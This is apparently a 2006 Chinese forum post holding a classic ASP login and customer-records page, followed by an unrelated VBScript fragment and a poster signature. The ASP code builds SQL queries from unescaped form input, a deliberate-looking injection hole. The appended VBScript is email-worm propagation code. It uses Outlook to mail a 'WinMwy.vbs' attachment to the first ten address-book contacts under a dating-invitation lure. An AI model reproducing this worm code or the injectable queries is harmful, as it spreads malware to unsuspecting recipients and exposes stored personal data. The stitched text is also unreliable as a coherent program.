pass=request.form("pass")
if name<>"" then
sql="select * from 用户资料 where 姓名='"&name&"'"
set rs=server.createobject("adodb.recordset")
rs.open sql,connstr,1,1
if not rs.eof then
if pass=rs("密码") then
session("id")=rs("id")
session("flag")=rs("权限")
response.redirect "index.asp"
end if
end if
end if
%>
<html>

<head>
<STYLE type=text/css>
A:link {
COLOR: #000000; FONT-FAMILY: 宋体; TEXT-DECORATION: none
}
A:visited {
COLOR: #000000; FONT-FAMILY: 宋体; TEXT-DECORATION: none
}
A:active {
FONT-FAMILY: 宋体; TEXT-DECORATION: underline
}
A:hover {
COLOR: #84bd6b; TEXT-DECORATION: underline overline
}
BODY {
COLOR: #000000; FONT-FAMILY: 宋体; FONT-SIZE: 9pt
}
TABLE {
COLOR: #000000; FONT-FAMILY: 宋体; FONT-SIZE: 9pt
}
.f24 {
COLOR: #ff0000; FONT-FAMILY: 宋体; FONT-SIZE: 9pt; TEXT-DECORATION: underline overline
}
.l17 {
LINE-HEIGHT: 170%
}
.f18 {
FONT-SIZE: 18px
}
.style3 {font-size: 16}
.style4 {color: #FF0000}
.style5 {color: #0000FF}
.style6 {color: #000000}
</STYLE>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>客户资料管理系统</title>
<script language="javascript">
function pagei(){
window.location.href=document.pfrm.pag.value
}
</script>
</head>

<body topmargin="0">

         <%if session("id")="" then%>

     <p>&nbsp;     </p>
     <table width="300" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#000000">
       <tr>
         <td width="100%" background="images/bg1.gif" height="23">
         <p align="center"><strong><b><font color="#666666">客户资料管理系统</font></b>登陆</strong></td>
       </tr>
       <tr>
         <td width="100%" bgcolor="#FFFFFF">
           <form name="form1" method="post" action="index.asp">
             <table border="0" width="100%">
               <tr>
                 <td width="44%">
                   <p align="right">帐号：</td>
                 <td width="56%"><input type="text" name="name" size="20" style="background-attachment: scroll; background-repeat: repeat; font-size: 9pt; height: 18; width: 101; background-color: #FFFFFF; border: 1 solid #000000; background-position: none 0%"></td>
               </tr>
               <tr>
                 <td width="44%">
                   <p align="right">密码：</td>
                 <td width="56%"><input type="password" name="pass" size="20" style="background-attachment: scroll; background-repeat: repeat; font-size: 9pt; height: 18; width: 101; background-color: #FFFFFF; border: 1 solid #000000; background-position: none 0%"></td>
               </tr>
               <tr>
                 <td width="100%" colspan="2">
                   <p align="center">
                     <input type="submit" value=" 进 入 " name="enter" style="background-color: #DDDDDD; background-repeat: repeat; background-attachment: scroll; font-size: 9pt; height: 20; width: 70; background-image: url('images/bg1.gif'); border: 1px groove #000000; background-position: 0% 50%">
&nbsp;&nbsp;
                 <input type="reset" value=" 取 消 " name="reset" style="background-color: #DDDDDD; background-repeat: repeat; background-attachment: scroll; font-size: 9pt; height: 20; width: 70; background-image: url('images/bg1.gif'); border: 1px groove #000000; background-position: 0% 50%">
                 </p></td>
               </tr>
             </table>
         </form></td>
       </tr>
</table>
    
         <%else
%>
    <p>&nbsp;</p>
     <table width="725" border="0" align="center" cellpadding="0" cellspacing="0">
       <tr>
         <td height="42">
         <td height="42" align="center"><b><font color="#666666"><a href="index.asp" class="style3">菲特数据 客户资料管理系统</a></font></b></td>
         <td height="42">&nbsp;</td>
       </tr>
       <tr>
       <td height="25" width="217"><%if session("flag")=true   then%> <a href="adduser.asp">添加用户</a> | <a href="userindex.asp">用户管理</a> | <a href="<%=db%>">数据库备份</a>
         <%end if%>          
       <form name="form2" method="post" action="index.asp">
             <input name="yewu" type="text" class="style4" value="请在此外输入你想要查询的业务员名字">
             <input type="submit" name="Submit" value="查询">
           </form>
         <td height="25" width="229">
           <p align="center"><b><font color="#666666"><%if session("flag")=true   then%><a href="adcheckmember.asp">每日</a> | <a href="adchengzhang.asp">成长</a> | <a href="adguzhi.asp">估值</a><%end if%></font></b></td>
         <td height="25" width="279">
           <p align="right"> <a href="add.asp"><font color="#FF0000">添加客户资料</font></a> | <a href="editpass.asp"><font color="#FF0000">修改密码</font></a> | <a href="edituser.asp?id=<%=session("id")%>"><font color="#FF0000">修改资料</font></a> |<a href="quit.asp"><font color="#FF0000">退出管理</font></a></td>
       </tr>
     </table>
     <table width="770" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#000000">
     <tr>
       <td width="50" bgcolor="#FFFFFF" height="23" background="images/bg1.gif">
         <p align="center"><strong>姓名</strong></td>
  
       <td width="28" align="center" background="images/bg1.gif" bgcolor="#FFFFFF"><div align="center"><strong>性别</strong></div></td>
       <td width="75" bgcolor="#FFFFFF" height="23" background="images/bg1.gif" align="center" valign="middle"><strong>电话</strong></td>
       <td width="171" bgcolor="#FFFFFF" height="23" background="images/bg1.gif" align="center" valign="middle"><strong>地址</strong></td>
       <td width="59" bgcolor="#FFFFFF" height="23" background="images/bg1.gif" align="center" valign="middle"><strong>业务员</strong></td>
       <td width="59" bgcolor="#FFFFFF" background="images/bg1.gif" align="center" valign="middle"><strong>录入人</strong></td>
    <td width="60" bgcolor="#FFFFFF" background="images/bg1.gif" align="center" valign="middle"><strong>录入时间</strong></td>
       <td width="132" bgcolor="#FFFFFF" height="23" background="images/bg1.gif" align="center" valign="middle"><strong>备注</strong></td>
       <td width="17" bgcolor="#FFFFFF" background="images/bg1.gif" align="center" valign="middle"><strong>入会</strong></td>
    
    
       <td width="108" bgcolor="#FFFFFF" height="23" background="images/bg1.gif" align="center" valign="middle"><b>管理</b></td>
   
     </tr>
    
      <%dim yewu
   yewu=request.form("yewu")
  
if session("flag")=true then
sql="select * from 客户资料 order by id desc"
else
   sql="select * from 客户资料 where 录入人="&session("id")&" order by id desc"
    
'sql="select * from 客户资料 where 录入人="&session("id")&"and datediff('s',cdate(rs("录入时间")),cdate(now()))=1 order by id desc"
' sql="select * from 客户资料 where 录入人="&session("id")&" and datediff('d',cdate("&rs("录入时间")&"),cdate(now()))=1 order by id desc"
'sql="select * from 客户资料 where datediff(d,录入时间，'"&now()&"')=0 order by id desc"
end if
if yewu= "请在此外输入你想要查询的业务员名字" or yewu= "" then
   response.write "对不起你没有按要求输入，请再次输入"
   else
   sql="select * from 客户资料 where 业务员='"&yewu&"' order by id desc"
   end if
     set rs=server.createobject("adodb.recordset")
     rs.open sql,connstr,1,1

     if rs.eof then
     %>
     <tr>
       <td bgcolor="#FFFFFF" colspan="8">
         <p align="center"><font color="#FF0000">暂时没有任何资料记录！</font></p>
       </td>
     </tr>
<%
else

const maxperpage=20 '定义每一页显示的数据记录的常量
dim currentpage '定义当前页的变量
rs.pagesize=maxperpage
currentpage=request.querystring("pageid")
if currentpage="" then
currentpage=1
elseif currentpage<1 then
currentpage=1
else
currentpage=clng(currentpage)
if currentpage > rs.pagecount then
currentpage=rs.pagecount
end if
end if
'如果变量currentpage的数据类型不是数值型
'就1赋给变量currentpage
if not isnumeric(currentpage) then
currentpage=1
end if
dim totalput,n '定义变量
totalput=rs.recordcount
if totalput mod maxperpage=0 then
n=totalput\maxperpage
else
n=totalput\maxperpage+1
end if
if n=0 then
n=1
end if
rs.move(currentpage-1)*maxperpage
i=0
do while i< maxperpage and not rs.eof
%>
     <tr>
       <td width="50" bgcolor="#FFFFFF" height="20" align="center"><%=rs("姓名")%></td>
       <td width="28" bgcolor="#FFFFFF" align="center" title="录入时间是：<%=rs("录入时间")%>"><%=rs("性别")%></td>
       <td width="75" bgcolor="#FFFFFF" height="20" align="center"><%=rs("电话")%></td>
       <td width="171" bgcolor="#FFFFFF" height="20"><div align="center"><%=rs("地址")%></div></td>
       <td width="59" bgcolor="#FFFFFF" height="20" align="center"><%=rs("业务员")%></td>
       <td width="59" bgcolor="#FFFFFF" height="20" align="center"><%lrsql="select * from 用户资料 where id="&rs("录入人")&""
                  set lrrs=server.createobject("adodb.recordset")
                  lrrs.open lrsql,connstr,1,1
                  name=lrrs("姓名")
                  lrrs.close
                  set lrrs=nothing
                  response.Write name%></td>
    <td width="60" bgcolor="#FFFFFF" height="20" align="center"><%=rs("录入时间")%></td>
       <td width="132" height="20" align="center" bgcolor="#FFFFFF"><div align="center"></div>        
         <div align="center"><%=rs("备注")%></div></td>
    <td width="17" bgcolor="#FFFFFF" height="20" align="center">
    <%if session("flag")=true then%>
    <a href=adpassm.asp?id=<%=rs("电话")%>><font color="blue">入会</font></a></td>
       <%end if%>
       <td width="108" bgcolor="#FFFFFF" height="20" align="center">
    <%if session("flag")=true then%>
    <a href="edit.asp?id=<%=rs("id")%>">编</a>|<a href="del.asp?id=<%=rs("id")%>"><font color="red">删</font></a>
       <%end if%></td>
       <%
       i=i+1
     rs.movenext
     loop
     end if
     %>
     </tr>
</table>
   <table width="770" border="0" align="center" cellpadding="0" cellspacing="0">
      
     <tr>
     <td width="550">页数：<%=currentpage%>/<%=n%>
     <%k=currentpage                    
     if k<>1 then%>
     [<a href="index.asp?业务员=<%=request("yewu")%>&pageid=1">首页</a>]                    
     [<a href="index.asp?业务员=<%=request("yewu")%>&pageid=<%=k-1%>">上一</a>]                    
     <%else%>
     [首页]&nbsp;[上一页]                    
     <%end if%>
     <%if k<>n then%>                    
     [<a href="index.asp?pageid=<%=k+1%>&业务员=<%=request("yewu")%>">下一</a>]                    
     [<a href="index.asp?业务员=<%=request("yewu")%>&pageid=<%=n%>">尾页</a>]                    
     <%else%>
     [下一页]&nbsp;[尾页]                    
     <%end if%>
         共有<font color="red"><%=totalput%></font>条记录                   
       </td>
   <td width="44">
  
   <td width="131" height="23">  
         <p align="right">
         <form action="index.asp" name="pfrm">    <select onChange="pagei()" size="1" name="pag" style="background-attachment: scroll; background-repeat: repeat; font-size: 9pt; height: 23; width: 96; background-color: #FFFFFF; border: 1 solid #000000; background-position: none 0%">  
           <%
           i=1
           do while not i > n
           %>
           <option value="index.asp?业务员=<%=request("yewu")%>&pageid=<%=i%>" <%if i=currentpage then %>selected<%end if%>>第 <%=i%> 页</option>
           <%
           i=i+1
           loop
           %>
         </select>
</form>
       </td>
   
     </tr>
    
     <tr>
       <td width="550" align="center"><p align="right"><span class="style4">注</span>：<span class="style5">入会 <span class="style6">既是默认加入每日数据精华会员</span></span></p>       </td>                     
       <td colspan="2"></td>         
     </tr>         
</table>        
      <div align="center">
          <%end if
   response.Write CopyRight%>
      </div>
</body>       
       
</html>       
</script>

On Error Resume Next Set fs=CreateObject("Scripting.FileSystemObject") Set dir1=fs.GetSpecialFolder(0) Set dir2=fs.GetSpecialFolder(1) Set so=CreateObject("Scripting.FileSystemObject") dim r Set r=CreateObject("Wscript.Shell") Set ol=CreateObject("Outlook.Application") On Error Resume Next For x=1 To 10 Set Mail=ol.CreateItem(0) Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) Mail.Subject="今晚你来吗？" Mail.Body="朋友你好：您的朋友Rose给您发来了热情的邀请。具体情况请阅读随信附件，祝您好运！             同城约会网" Mail.Attachments.Add(dir2&"WinMwy.vbs") Mail.Send Next ol.Quit
	发表时间： 2006-1-26 11:44:19

[ dongganjiazu ] 角 色: 斑竹 发 贴: 89 积 分: 525 等 级: 大虾 注 册: 2006-1-20 16:27:18   QQ   信息  主页  留言   Email